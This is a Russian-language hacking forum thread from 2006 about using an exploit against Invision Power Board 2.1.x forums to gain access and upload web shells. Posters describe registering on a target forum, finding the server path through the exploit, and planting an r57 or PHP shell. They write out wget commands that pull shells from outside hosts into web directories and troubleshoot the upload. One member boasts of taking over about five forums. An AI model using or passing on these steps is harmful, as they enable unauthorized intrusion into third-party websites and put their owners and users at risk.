Форумы IPB 2.1.5 RST (DimaHbl4 edition)

Discussion in 'Уязвимости CMS/форумов' started by DimaHbl4, 21 Jun 2006.

  1. DimaHbl4

    DimaHbl4 Elder - Старейшина

    Joined:
    9 May 2006
    Messages:
    234
    Likes Received:
    27
    Reputations:
    11
    CMD
    Ты пойми что на некоторых форумах создание сообщения запрещено в опредленном топике....Или пока ты не активизируешся.

    Лично я при помощи этого сплойта около 5 форумов заимел.
    3 шага к успеху:
    1)Заходи на форум регимся.
    2)Через сплойт узнаем путь (команда pwd)
    3)Льем шелл в путь/cache

    Вот и все.
     
  2. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    DimaHbl4 Если ты так всем нравишся тогда я тебе тоже репу подниму :)
     
  3. CMD

    CMD New Member

    Joined:
    21 Jun 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
  4. DimaHbl4

    DimaHbl4 Elder - Старейшина

    Joined:
    9 May 2006
    Messages:
    234
    Likes Received:
    27
    Reputations:
    11
    Там версия 2.1.5 на ней не работает..... Или она проста пропатчена на эту дырку.
    Я ж тебе писал что тестил на 2.1.4
     
  5. CMD

    CMD New Member

    Joined:
    21 Jun 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    А тему зачем так назвал ?
    твой RST и на 2.1.3 непашет (проверял только на нормальных форумах).
    Этот баг только на чистых форумах пашет.
     
  6. k1L0gRaM

    k1L0gRaM New Member

    Joined:
    28 Mar 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Ахтунг!!!Пацаны...подскажите плз....как заоить шелл...???с помощью какой команды?И поподробней плз=))


    И ещё....вот когда я пишу команду pwd , прохожу по ссылке , и у меян там какой то код появляецо...чё с ним делать?куда пихать? :confused:
     
    #26 k1L0gRaM, 23 Jun 2006
    Last edited: 23 Jun 2006
  7. CMD

    CMD New Member

    Joined:
    21 Jun 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Дайте мне хоть 1 ссылку на форум где этот код работает +)
    У всех норм форумах авторизация.
     
  8. CMD

    CMD New Member

    Joined:
    21 Jun 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Все я разобрался он и на 2.1.5 работает спосибо всем кто помог.
    Баг в том что он не работает на чётных темах работает только на нечетных =)
    Осталось найти нормальный шел =)
     
    #28 CMD, 24 Jun 2006
    Last edited: 24 Jun 2006
  9. CMD

    CMD New Member

    Joined:
    21 Jun 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    А куда лучше заливать r57 shell а то через аваторку не катит =)
     
  10. lobster

    lobster New Member

    Joined:
    28 Feb 2006
    Messages:
    13
    Likes Received:
    3
    Reputations:
    0
    народ плиз обьясните попподробнее че дальше делать? я начинающий и поэтому сильно ногами не пинайте! очень хочеться чтобы получилось!

    вот что я имею:
    http://img61.imageshack.us/img61/9120/1232ud.jpg

    а дальше что делать не пойму :(
    близ обьясните!
     
  11. CMD

    CMD New Member

    Joined:
    21 Jun 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    как пользоватся wget вот это правильная команда ?
    Command for execute or 'exit' for exit wget http://rst.void.ru/download/r57shell
    .txt -O /cache/r57.php
     
  12. DimaHbl4

    DimaHbl4 Elder - Старейшина

    Joined:
    9 May 2006
    Messages:
    234
    Likes Received:
    27
    Reputations:
    11
    wget -o /tmp/file.c http://site.ru/file.c

    Про качалки getfile
     
    #32 DimaHbl4, 25 Jun 2006
    Last edited: 26 Jun 2006
  13. CMD

    CMD New Member

    Joined:
    21 Jun 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Незнаю чето не получается может нельзя загружать r57.php ? пробывал грузить в разные паки как говорится нифига..............
     
  14. CMD

    CMD New Member

    Joined:
    21 Jun 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Когда я загружу шел ченить должно выдать ? а то у меня появляется чистая страница
     
  15. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    А по ссылке переходить не пробовал?
     
  16. DimaHbl4

    DimaHbl4 Elder - Старейшина

    Joined:
    9 May 2006
    Messages:
    234
    Likes Received:
    27
    Reputations:
    11
    Конечно должна быть чистая, т.к. написать он тебе ничего не может. Теперь проверя место куда лил шелл.
     
  17. CMD

    CMD New Member

    Joined:
    21 Jun 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
  18. ysmat

    ysmat Member

    Joined:
    20 Apr 2006
    Messages:
    89
    Likes Received:
    5
    Reputations:
    -3
    я пробовал заливать шелл
    командой wget -o /home/serge/brunets/forum/1.php http://fudobat.narod.ru/1.php
    в результате шелл залился но не совсем нормально
    создались два файла 1.php и 1.php.1
    в первом weget что то расказывает о скорости заливки и.т.п :)
    вот его содержание
    --05:59:56-- http://fudobat.narod.ru/1.php
    => `1.php.1'
    Resolving fudobat.narod.ru... 213.180.199.27
    Connecting to fudobat.narod.ru[213.180.199.27]:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 106,099 [application/octet-stream]

    0K .......... .......... .......... .......... .......... 48% 40.80 KB/s
    50K .......... .......... .......... .......... .......... 96% 35.00 KB/s
    100K ... 100% 9.63 KB/s

    06:00:04 (34.20 KB/s) - `1.php.1' saved [106,099/106,099

    1.php.1 является собственно шеллом
    как изменить команду чтобы шелл загружался
    без всяких излишеств
     
  19. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    936
    Likes Received:
    396
    Reputations:
    261
    Зачем полный путь указываешь?? Зайди в папку любую пропиши wget www.lo.ru/shell.php. И всё. А про твою команду командой wget -o /home/serge/brunets/forum/1.php http://fudobat.narod.ru/1.php. Имхо писать надо так командой wget -o /home/serge/brunets/forum/ http://fudobat.narod.ru/1.php.
     
  20. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    или выполни щас команду: mv 1.php.1 1.php